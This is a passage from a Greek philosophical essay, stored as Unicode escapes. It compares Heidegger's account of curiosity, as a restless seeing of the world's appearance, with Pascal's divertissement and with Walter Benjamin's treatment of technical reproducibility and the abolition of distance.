\u03c0\u03bb\u03b1\u03b9\u03c3\u03b9\u03ce\u03bd\u03b5\u03b9 \u03c0\u03bb\u03ad\u03bf\u03bd \u03c4\u03b1 \u03cc\u03bd\u03c4\u03b1 \u03b2\u03ac\u03c3\u03b5\u03b9 \u03c4\u03bf\u03c5 \u03ba\u03c1\u03b9\u03c4\u03b7\u03c1\u03af\u03bf\u03c5\n\u03c4\u03b7\u03c2 \u03b5\u03bd\u03b4\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03b7\u03c2 \u03c7\u03c1\u03b7\u03c3\u03c4\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03ac\u03c2 \u03c4\u03bf\u03c5\u03c2, \u03b1\u03bb\u03bb\u03ac, \u03b1\u03c0\u03bf\u03c3\u03c5\u03bd\u03b4\u03b5\u03bc\u03ad\u03bd\u03b7 \u03b1\u03c0\u03cc \u03bf\u03c0\u03bf\u03b9\u03b1\u03b4\u03ae\u03c0\u03bf\u03c4\u03b5\n\u03b1\u03c0\u03bf\u03c3\u03c4\u03bf\u03bb\u03ae, \u03b1\u03bd\u03b1\u03b6\u03b7\u03c4\u03ac \u03b9\u03ba\u03b1\u03bd\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03bc\u03cc\u03bd\u03bf \u03c3\u03c4\u03bf\u03bd \u03b5\u03b1\u03c5\u03c4\u03cc \u03c4\u03b7\u03c2. \u0393\u03c1\u03ac\u03c6\u03b5\u03b9 \u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1: \u00ab\u03b7\n\u03bc\u03ad\u03c1\u03b9\u03bc\u03bd\u03b1 \u03c7\u03b1\u03bb\u03b1\u03c1\u03ce\u03bd\u03b5\u03b9 \u03c3\u03b5 \u03b4\u03cd\u03bf \u03c0\u03b5\u03c1\u03b9\u03c0\u03c4\u03ce\u03c3\u03b5\u03b9\u03c2: \u03b5\u03af\u03c4\u03b5 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b1\u03bd\u03b1\u03bb\u03ac\u03b2\u03b5\u03b9 \u03b4\u03c5\u03bd\u03ac\u03bc\u03b5\u03b9\u03c2, \u03b5\u03af\u03c4\u03b5\n\u03b5\u03c0\u03b5\u03b9\u03b4\u03ae \u03c4\u03bf \u03ad\u03c1\u03b3\u03bf \u03ad\u03c7\u03b5\u03b9 \u03b5\u03c0\u03b9\u03c4\u03b5\u03bb\u03b5\u03c3\u03b8\u03b5\u03af. \u0391\u03c5\u03c4\u03ae \u03b7 \u03c7\u03b1\u03bb\u03ac\u03c1\u03c9\u03c3\u03b7 \u03b4\u03b5\u03bd \u03ba\u03b1\u03c4\u03b1\u03c1\u03b3\u03b5\u03af \u03c4\u03b7 \u03bc\u03ad\u03c1\u03b9\u03bc\u03bd\u03b1,\n\u03b1\u03bb\u03bb\u03ac \u03b1\u03c0\u03b5\u03bb\u03b5\u03c5\u03b8\u03b5\u03c1\u03ce\u03bd\u03b5\u03b9 \u03c4\u03b7\u03bd \u03cc\u03c1\u03b1\u03c3\u03b7, \u03b1\u03c0\u03b1\u03bb\u03bb\u03ac\u03c3\u03c3\u03bf\u03bd\u03c4\u03ac\u03c2 \u03c4\u03b7\u03bd \u03b1\u03c0\u03cc \u03c4\u03bf\u03bd \u03ba\u03cc\u03c3\u03bc\u03bf \u03c4\u03c9\u03bd \u03ad\u03c1\u03b3\u03c9\u03bd\u00bb.\n\u0397 \u03b1\u03c0\u03b1\u03bb\u03bb\u03b1\u03b3\u03ae \u03b1\u03c0\u03cc \u03c4\u03bf\u03bd \u03ba\u03cc\u03c3\u03bc\u03bf \u03c4\u03c9\u03bd \u03ad\u03c1\u03b3\u03c9\u03bd \u03ad\u03c7\u03b5\u03b9 \u03c9\u03c2 \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03b7 \u00ab\u03cc\u03c1\u03b1\u03c3\u03b7\u00bb \u03bd\u03b1\n\u03c4\u03c1\u03ad\u03c6\u03b5\u03c4\u03b1\u03b9 \u03bc\u03b5 \u03bf\u03c0\u03bf\u03b9\u03bf\u03b4\u03ae\u03c0\u03bf\u03c4\u03b5 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1, \u03c3\u03c5\u03bc\u03b2\u03ac\u03bd, \u03b3\u03b5\u03b3\u03bf\u03bd\u03cc\u03c2, \u03c4\u03b1 \u03bf\u03c0\u03bf\u03af\u03b1 \u03c9\u03c3\u03c4\u03cc\u03c3\u03bf\n\u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03ad\u03c0\u03bf\u03bd\u03c4\u03b1\u03b9 \u03c3\u03b5 \u03b9\u03c3\u03ac\u03c1\u03b9\u03b8\u03bc\u03b1 \u03b8\u03b5\u03ac\u03bc\u03b1\u03c4\u03b1. \u0397 \u03ba\u03c1\u03af\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03bd\u03ad\u03ba\u03ba\u03bb\u03b7\u03c4\u03b7:\n\u03c3\u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03c6\u03c9\u03bb\u03b9\u03ac\u03b6\u03b5\u03b9 \u03bc\u03af\u03b1 \u03c1\u03b9\u03b6\u03b9\u03ba\u03ae \u03b1\u03bb\u03bb\u03bf\u03c4\u03c1\u03af\u03c9\u03c3\u03b7\u00b7 \u03bf \u03c0\u03b5\u03c1\u03af\u03b5\u03c1\u03b3\u03bf\u03c2 \u00ab\u03b5\u03bd\u03b4\u03b9\u03b1\u03c6\u03ad\u03c1\u03b5\u03c4\u03b1\u03b9\n\u03bc\u03cc\u03bd\u03bf \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03cc\u03c8\u03b7 \u03c4\u03bf\u03c5 \u03ba\u03cc\u03c3\u03bc\u03bf\u03c5\u00b7 \u03bc\u03b5 \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf\u03bd \u03c4\u03c1\u03cc\u03c0\u03bf, \u03bf \u03c0\u03b5\u03c1\u03af\u03b5\u03c1\u03b3\u03bf\u03c2 \u03b5\u03c0\u03b9\u03b4\u03b9\u03ce\u03ba\u03b5\u03b9 \u03bd\u03b1\n\u03b1\u03c0\u03b5\u03bb\u03b5\u03c5\u03b8\u03b5\u03c1\u03c9\u03b8\u03b5\u03af \u03b1\u03c0\u03cc \u03c4\u03bf\u03bd \u03b5\u03b1\u03c5\u03c4\u03cc \u03c4\u03bf\u03c5 \u03c9\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9-\u03b5\u03bd-\u03ba\u03cc\u03c3\u03bc\u03c9\u00bb. \u0394\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03cd\u03c3\u03ba\u03bf\u03bb\u03bf \u03bd\u03b1\n\u03b2\u03c1\u03bf\u03cd\u03bc\u03b5 \u03b5\u03b4\u03ce \u03ad\u03bd\u03b1\u03bd \u03b1\u03c0\u03cc\u03b7\u03c7\u03bf \u03c4\u03c9\u03bd \u03c0\u03c1\u03bf\u03b2\u03bb\u03b7\u03bc\u03b1\u03c4\u03b9\u03c3\u03bc\u03ce\u03bd \u03c4\u03bf\u03c5 \u03a0\u03b1\u03c3\u03ba\u03ac\u03bb \u03c3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03bf\ndivertissement, \u03c3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03b1 \u03c4\u03b5\u03c7\u03bd\u03ac\u03c3\u03bc\u03b1\u03c4\u03b1 \u03c0\u03bf\u03c5 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03bf\u03cd\u03bc\u03b5 \u03b3\u03b9\u03b1 \u03bd\u03b1\n\u03be\u03b5\u03b3\u03b5\u03bb\u03ac\u03bc\u03b5 \u03c4\u03bf\u03bd \u03ba\u03b1\u03b9\u03c1\u03cc: \u00ab\u0394\u03b5\u03bd \u03b1\u03bd\u03b1\u03b6\u03b7\u03c4\u03ac\u03bc\u03b5 \u03c0\u03bf\u03c4\u03ad \u03c4\u03b1 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b1, \u03b1\u03bb\u03bb\u03ac \u03c4\u03b7\u03bd \u03b1\u03bd\u03b1\u03b6\u03ae\u03c4\u03b7\u03c3\u03b7\n\u03c4\u03c9\u03bd \u03c0\u03c1\u03b1\u03b3\u03bc\u03ac\u03c4\u03c9\u03bd\u00bb\u00b7 \u00ab\u03b7 \u03bc\u03cc\u03bd\u03b7 \u03b1\u03bd\u03b1\u03ba\u03bf\u03cd\u03c6\u03b9\u03c3\u03b7 \u03b1\u03c0\u03cc \u03c4\u03b7 \u03b4\u03c5\u03c3\u03c4\u03c5\u03c7\u03af\u03b1 \u03bc\u03b1\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 \u03c8\u03c5\u03c7\u03b1\u03b3\u03c9\u03b3\u03af\u03b1,\n\u03ba\u03b9 \u03c9\u03c3\u03c4\u03cc\u03c3\u03bf \u03b1\u03c5\u03c4\u03ae \u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 \u03bc\u03b5\u03b3\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03b7 \u03b1\u03c0\u03cc \u03c4\u03b9\u03c2 \u03b4\u03c5\u03c3\u03c4\u03c5\u03c7\u03af\u03b5\u03c2 \u03bc\u03b1\u03c2. \u03a0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b9\u03ba\u03ac,\n\u03ba\u03c5\u03c1\u03af\u03c9\u03c2 \u03b7 \u03c8\u03c5\u03c7\u03b1\u03b3\u03c9\u03b3\u03af\u03b1 \u03bc\u03ac\u03c2 \u03b5\u03bc\u03c0\u03bf\u03b4\u03af\u03b6\u03b5\u03b9 \u03bd\u03b1 \u03c3\u03ba\u03b5\u03c6\u03c4\u03bf\u03cd\u03bc\u03b5 \u03c4\u03bf\u03bd \u03b5\u03b1\u03c5\u03c4\u03cc \u03bc\u03b1\u03c2 \u03ba\u03b1\u03b9, \u03c7\u03c9\u03c1\u03af\u03c2 \u03bd\u03b1\n\u03c4\u03bf \u03ba\u03b1\u03c4\u03b1\u03bb\u03b1\u03b2\u03b1\u03af\u03bd\u03bf\u03c5\u03bc\u03b5, \u03bc\u03b1\u03c2 \u03bf\u03b4\u03b7\u03b3\u03b5\u03af \u03c3\u03c4\u03b7\u03bd \u03b1\u03c0\u03ce\u03bb\u03b5\u03b9\u03b1. \u03a7\u03c9\u03c1\u03af\u03c2 \u03b1\u03c5\u03c4\u03ae\u03bd \u03b8\u03b1 \u03b2\u03c5\u03b8\u03b9\u03b6\u03cc\u03bc\u03b1\u03c3\u03c4\u03b1\u03bd\n\u03c3\u03c4\u03b7\u03bd \u03c0\u03bb\u03ae\u03be\u03b7 \u03ba\u03b1\u03b9 \u03b1\u03c5\u03c4\u03ae \u03b8\u03b1 \u03bc\u03b1\u03c2 \u03c9\u03b8\u03bf\u03cd\u03c3\u03b5 \u03bd\u03b1 \u03b1\u03bd\u03b1\u03b6\u03b7\u03c4\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ad\u03bd\u03b1 \u03c0\u03b9\u03bf \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03b5\u03c3\u03bc\u03b1\u03c4\u03b9\u03ba\u03cc\n\u03bc\u03ad\u03c3\u03bf \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b2\u03b3\u03bf\u03cd\u03bc\u03b5 \u03b1\u03c0' \u03b1\u03c5\u03c4\u03ae\u03bd. \u0391\u03bb\u03bb\u03ac \u03b7 \u03c8\u03c5\u03c7\u03b1\u03b3\u03c9\u03b3\u03af\u03b1 \u03bc\u03ac\u03c2 \u03b4\u03b9\u03b1\u03c3\u03ba\u03b5\u03b4\u03ac\u03b6\u03b5\u03b9 \u03ba\u03b1\u03b9 \u03bc\u03b1\u03c2\n\u03ba\u03ac\u03bd\u03b5\u03b9 \u03bd\u03b1 \u03c6\u03c4\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03b1\u03c3\u03c5\u03bd\u03b1\u03af\u03c3\u03b8\u03b7\u03c4\u03b1 \u03c3\u03c4\u03bf \u03b8\u03ac\u03bd\u03b1\u03c4\u03bf\u00bb (B. Pascal, Pens\u03b9es, ed.\nChevalier, \u03b1\u03c1. 203 \u03ba\u03b1\u03b9 217).\n\n5. \u0391\u03c6\u03b7\u03c1\u03b7\u03bc\u03ac\u03b4\u03b1\u03c2 \u03ad\u03c0\u03b1\u03b9\u03bd\u03bf\u03c2\n\n\u0391\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2 \u03b5\u03b4\u03ce, \u03ba\u03b1\u03b8\u03ce\u03c2 \u03b5\u03be\u03b5\u03c4\u03ac\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u00ab\u03b1\u03c0\u03bb\u03b7\u03c3\u03c4\u03af\u03b1 \u03c4\u03b7\u03c2 \u03cc\u03c1\u03b1\u03c3\u03b7\u03c2\u00bb, \u03b8\u03b1 \u03ae\u03c4\u03b1\u03bd \u03c7\u03c1\u03ae\u03c3\u03b9\u03bc\u03bf\n\u03bd\u03b1 \u03ba\u03ac\u03bd\u03b1\u03bc\u03b5 \u03bc\u03b9\u03b1 \u03b5\u03ba \u03c4\u03bf\u03c5 \u03c3\u03cd\u03bd\u03b5\u03b3\u03b3\u03c5\u03c2 \u03b1\u03bd\u03c4\u03b9\u03c0\u03b1\u03c1\u03ac\u03b8\u03b5\u03c3\u03b7 \u03b1\u03bd\u03ac\u03bc\u03b5\u03c3\u03b1 \u03c3\u03c4\u03b7 \u03b8\u03ad\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1\n\u03ba\u03b1\u03b9 \u03b5\u03ba\u03b5\u03af\u03bd\u03b7\u03c2 \u03c4\u03bf\u03c5 \u0392\u03ac\u03bb\u03c4\u03b5\u03c1 \u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd. \u039c\u03b9\u03b1 \u03b3\u03b5\u03bd\u03b9\u03ba\u03ae \u03c0\u03b1\u03c1\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7: \u03c3\u03c4\u03b9\u03c2 \u03c0\u03b5\u03c1\u03af\u03c6\u03b7\u03bc\u03b5\u03c2\n\u03c3\u03b5\u03bb\u03af\u03b4\u03b5\u03c2 \u03c4\u03bf\u03c5 \u0388\u03c1\u03b3\u03bf\u03c5 \u03c4\u03ad\u03c7\u03bd\u03b7\u03c2 \u03c4\u03b7\u03bd \u03b5\u03c0\u03bf\u03c7\u03ae \u03c4\u03b7\u03c2 \u03c4\u03b5\u03c7\u03bd\u03b9\u03ba\u03ae\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03bc\u03cc\u03c4\u03b7\u03c4\u03ac\u03c2 \u03c4\u03bf\u03c5, \u03bf\n\u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd \u03b5\u03af\u03c7\u03b5 \u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03b5\u03af, \u03c0\u03c1\u03bf\u03c6\u03b1\u03bd\u03ce\u03c2 \u03bc\u03b5 \u03ac\u03bb\u03bb\u03b7 \u03bf\u03c1\u03bf\u03bb\u03bf\u03b3\u03af\u03b1, \u03bc\u03af\u03b1 \u03b9\u03b4\u03b9\u03cc\u03bc\u03bf\u03c1\u03c6\u03b7\n\u03b4\u03b9\u03ac\u03b3\u03bd\u03c9\u03c3\u03b7 \u03c4\u03bf\u03c5 \u00ab\u03c4\u03b9\u03c2\u00bb, \u03c4\u03c9\u03bd \u03c4\u03c1\u03cc\u03c0\u03c9\u03bd \u03cd\u03c0\u03b1\u03c1\u03be\u03b7\u03c2 \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03c5\u03c0\u03b9\u03ba\u03bf\u03af \u03c4\u03b7\u03c2 \u03bc\u03b1\u03b6\u03b9\u03ba\u03ae\u03c2\n\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03af\u03b1\u03c2, \u03bc\u03b5 \u03b4\u03c5\u03bf \u03bb\u03cc\u03b3\u03b9\u03b1 \u03c4\u03b7\u03c2 \u00ab\u03bc\u03b7 \u03b1\u03c5\u03b8\u03b5\u03bd\u03c4\u03b9\u03ba\u03ae\u03c2 \u03b6\u03c9\u03ae\u03c2\u00bb. \u039c\u03b9\u03b1 \u03b5\u03b9\u03b4\u03b9\u03ba\u03ae \u03c0\u03b1\u03c1\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7: \u03b7\n\u00ab\u03c4\u03b5\u03c7\u03bd\u03b9\u03ba\u03ae \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03bc\u03cc\u03c4\u03b7\u03c4\u03b1\u00bb \u03c4\u03b7\u03c2 \u03c4\u03ad\u03c7\u03bd\u03b7\u03c2 \u03ba\u03b1\u03b9 \u03ba\u03ac\u03b8\u03b5 \u03b5\u03af\u03b4\u03bf\u03c5\u03c2 \u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03af\u03b1\u03c2, \u03c0\u03bf\u03c5\n\u03b5\u03c0\u03b9\u03c4\u03c5\u03b3\u03c7\u03ac\u03bd\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03c4\u03b1 mass-media, \u03b4\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03af\u03c0\u03bf\u03c4\u03b5 \u03ac\u03bb\u03bb\u03bf \u03c0\u03b1\u03c1\u03ac \u03c4\u03bf\n\u03ba\u03b1\u03c4\u03b1\u03bb\u03bb\u03b7\u03bb\u03cc\u03c4\u03b5\u03c1\u03bf \u03cc\u03c1\u03b3\u03b1\u03bd\u03bf \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03b9\u03ba\u03b1\u03bd\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03bc\u03b9\u03b1\u03c2 \u03ba\u03b1\u03b8\u03bf\u03bb\u03b9\u03ba\u03ae\u03c2 \u03ba\u03b1\u03b9 \u03c0\u03b1\u03bc\u03c6\u03ac\u03b3\u03b1\u03c2\n\u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1\u03c2. \u03a4\u03bf\u03cd\u03c4\u03bf\u03c5 \u03bb\u03b5\u03c7\u03b8\u03ad\u03bd\u03c4\u03bf\u03c2, \u03b5\u03c1\u03c7\u03cc\u03bc\u03b1\u03c3\u03c4\u03b5 \u03c3\u03c4\u03bf \u03c3\u03b7\u03bc\u03b1\u03bd\u03c4\u03b9\u03ba\u03cc\u03c4\u03b5\u03c1\u03bf \u03c3\u03b7\u03bc\u03b5\u03af\u03bf: \u03b1\u03c5\u03c4\u03cc\n\u03c0\u03bf\u03c5 \u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1 \u03b1\u03bd\u03c4\u03b9\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03b1\u03c0\u03b5\u03b9\u03bb\u03ae, \u03bf \u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd \u03c4\u03bf \u03b2\u03bb\u03ad\u03c0\u03b5\u03b9 \u03c9\u03c2\n\u03c5\u03c0\u03cc\u03c3\u03c7\u03b5\u03c3\u03b7\u00b7 \u03c0\u03c1\u03bf\u03b2\u03b1\u03af\u03bd\u03b5\u03b9 \u03b5\u03c0\u03bf\u03bc\u03ad\u03bd\u03c9\u03c2 \u03c3\u03b5 \u03ad\u03bd\u03b1\u03bd \u03ad\u03c0\u03b1\u03b9\u03bd\u03bf \u03b1\u03c5\u03c4\u03ae\u03c2 \u03c4\u03b7\u03c2 \u00ab\u03bc\u03b1\u03bd\u03af\u03b1\u03c2 \u03bd\u03b1\n\u03b3\u03bd\u03c9\u03c1\u03af\u03b6\u03bf\u03c5\u03bc\u03b5\u00bb \u03c4\u03b7\u03bd \u03cc\u03c8\u03b7 \u03c4\u03bf\u03c5 \u03ba\u03cc\u03c3\u03bc\u03bf\u03c5 \u03c4\u03b7\u03bd \u03bf\u03c0\u03bf\u03af\u03b1 \u03bf \u03ac\u03bb\u03bb\u03bf\u03c2, \u03b1\u03bd\u03c4\u03b9\u03b8\u03ad\u03c4\u03c9\u03c2, \u03b4\u03c5\u03c3\u03c6\u03b7\u03bc\u03b5\u03af.\n\u03a4\u03cc\u03c3\u03bf \u03b7 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 (\u03c3\u03c4\u03b7\u03bd \u03b1\u03bd\u03ac\u03bb\u03c5\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1) \u03cc\u03c3\u03bf \u03ba\u03b1\u03b9 \u03b7 \u03c4\u03b5\u03c7\u03bd\u03b9\u03ba\u03ae\n\u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03bc\u03cc\u03c4\u03b7\u03c4\u03b1 (\u03c3\u03c4\u03b7\u03bd \u03b1\u03bd\u03ac\u03bb\u03c5\u03c3\u03b7 \u03c4\u03bf\u03c5 \u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd) \u03b5\u03c0\u03b9\u03b4\u03b9\u03ce\u03ba\u03bf\u03c5\u03bd \u03bd\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c1\u03b3\u03ae\u03c3\u03bf\u03c5\u03bd\n\u03c4\u03b9\u03c2 \u03b1\u03c0\u03bf\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2, \u03bd\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03c4\u03ae\u03c3\u03bf\u03c5\u03bd \u03ba\u03ac\u03b8\u03b5 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1 \u03c0\u03c1\u03bf\u03c3\u03b9\u03c4\u03cc \u03c3\u03c4\u03bf \u03c7\u03ad\u03c1\u03b9 \u03bc\u03b1\u03c2 (\u03ae\n\u03ba\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03b1, \u03c3\u03c4\u03bf \u03b2\u03bb\u03ad\u03bc\u03bc\u03b1 \u03bc\u03b1\u03c2). \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1: \u03cc\u03c4\u03b1\u03bd \u03ba\u03b1\u03c4\u03b1\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd\n\u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1, \u00ab\u03c4\u03bf \u0395\u03af\u03bd\u03b1\u03b9-\u03b5\u03ba\u03b5\u03af [Dasein] \u03b1\u03bd\u03b1\u03b6\u03b7\u03c4\u03ac \u03cc,\u03c4\u03b9 \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03b1\u03ba\u03c1\u03b9\u03bd\u03cc, \u03bc\u03cc\u03bd\u03bf \u03ba\u03b1\u03b9\n\u03bc\u03cc\u03bd\u03bf \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03c4\u03bf \u03c6\u03ad\u03c1\u03b5\u03b9 \u03ba\u03bf\u03bd\u03c4\u03ac \u03c9\u03c2 \u03c0\u03c1\u03bf\u03c2 \u03c4\u03b9\u03c2 \u03b5\u03be\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03ad\u03c2 \u03cc\u03c8\u03b5\u03b9\u03c2 \u03c4\u03bf\u03c5\u00bb. \u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd:\n\u00ab\u03c4\u03bf \u03bd\u03b1 \u03ad\u03bb\u03b8\u03bf\u03c5\u03bd \u03c4\u03b1 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b1 \u03c0\u03b9\u03bf \u03ba\u03bf\u03bd\u03c4\u03ac \u03b1\u03c0\u03cc \u03c7\u03c9\u03c1\u03b9\u03ba\u03ae \u03ba\u03b1\u03b9 \u03b1\u03c0\u03cc \u03b1\u03bd\u03b8\u03c1\u03ce\u03c0\u03b9\u03bd\u03b7 \u03ac\u03c0\u03bf\u03c8\u03b7,\n\u03b5\u03af\u03bd\u03b1\u03b9 \u03b3\u03b9\u03b1 \u03c4\u03b9\u03c2 \u03c3\u03cd\u03b3\u03c7\u03c1\u03bf\u03bd\u03b5\u03c2 \u03bc\u03ac\u03b6\u03b5\u03c2 \u03bc\u03af\u03b1 \u03b5\u03be\u03b1\u03b9\u03c1\u03b5\u03c4\u03b9\u03ba\u03ac \u03b6\u03c9\u03bd\u03c4\u03b1\u03bd\u03ae \u03b1\u03c0\u03b1\u03af\u03c4\u03b7\u03c3\u03b7, \u03cc\u03c3\u03bf \u03ba\u03b1\u03b9 \u03b7\n\u03c4\u03ac\u03c3\u03b7 \u03be\u03b5\u03c0\u03b5\u03c1\u03ac\u03c3\u03bc\u03b1\u03c4\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03bc\u03bf\u03bd\u03b1\u03b4\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2 \u03bf\u03c0\u03bf\u03b9\u03bf\u03c5\u03b4\u03ae\u03c0\u03bf\u03c4\u03b5 \u03b4\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03bf\u03c5 \u03bc\u03ad\u03c3\u03c9 \u03c4\u03b7\u03c2\n\u03b1\u03c0\u03bf\u03b4\u03bf\u03c7\u03ae\u03c2 \u03c4\u03b7\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03ae\u03c2 \u03c4\u03bf\u03c5\u00bb. \u0391\u03c5\u03c4\u03ae \u03b7 \u03ba\u03bb\u03af\u03c3\u03b7 \u03c0\u03c1\u03bf\u03c2 \u03c4\u03b7\u03bd \u03b5\u03b3\u03b3\u03cd\u03c4\u03b7\u03c4\u03b1 \u03c9\u03c3\u03c4\u03cc\u03c3\u03bf\n\u03c0\u03c1\u03bf\u03c3\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03b5\u03b9 \u03bc\u03b9\u03b1 \u03c3\u03b7\u03bc\u03b1\u03c3\u03af\u03b1 \u03c0\u03bf\u03bb\u03cd \u03b4\u03b9\u03b1\u03c6\u03bf\u03c1\u03b5\u03c4\u03b9\u03ba\u03ae, \u03ba\u03b1\u03b9 \u03bc\u03ac\u03bb\u03b9\u03c3\u03c4\u03b1 \u03b1\u03bd\u03c4\u03af\u03b8\u03b5\u03c4\u03b7, \u03c3\u03c4\u03bf\u03c5\u03c2 \u03b4\u03cd\u03bf\n\u03c3\u03c5\u03b3\u03b3\u03c1\u03b1\u03c6\u03b5\u03af\u03c2. \u039a\u03b1\u03c4\u03ac \u03c4\u03bf\u03bd \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1, \u03b5\u03bb\u03bb\u03b5\u03af\u03c8\u03b5\u03b9 \u03bc\u03b9\u03b1\u03c2 \u03b5\u03c0\u03b9\u03bc\u03b5\u03bb\u03bf\u03cd\u03c2 \u00ab\u03bc\u03ad\u03c1\u03b9\u03bc\u03bd\u03b1\u03c2\u00bb, \u03b7\n\u03c0\u03c1\u03bf\u03c3\u03ad\u03b3\u03b3\u03b9\u03c3\u03b7 \u03b5\u03ba\u03b5\u03af\u03bd\u03bf\u03c5 \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03b1\u03ba\u03c1\u03b9\u03bd\u03cc \u03ba\u03b1\u03b9 \u03be\u03ad\u03bd\u03bf \u03ad\u03c7\u03b5\u03b9 \u03c9\u03c2 \u03bc\u03cc\u03bd\u03bf \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03c4\u03b7\u03bd\n\u03ba\u03b1\u03c4\u03b1\u03c3\u03c4\u03c1\u03bf\u03c6\u03b9\u03ba\u03ae \u03ba\u03b1\u03c4\u03ac\u03c1\u03b3\u03b7\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03bf\u03bf\u03c0\u03c4\u03b9\u03ba\u03ae\u03c2: \u03c4\u03bf \u03b2\u03bb\u03ad\u03bc\u03bc\u03b1 \u03b4\u03b5\u03bd \u03b4\u03b9\u03b1\u03ba\u03c1\u03af\u03bd\u03b5\u03b9 \u03c0\u03bb\u03ad\u03bf\u03bd\n\u03bc\u03b5\u03c4\u03b1\u03be\u03cd \u03c4\u03bf\u03c5 \u00ab\u03c0\u03c1\u03ce\u03c4\u03bf\u03c5 \u03c0\u03bb\u03ac\u03bd\u03bf\u03c5\u00bb 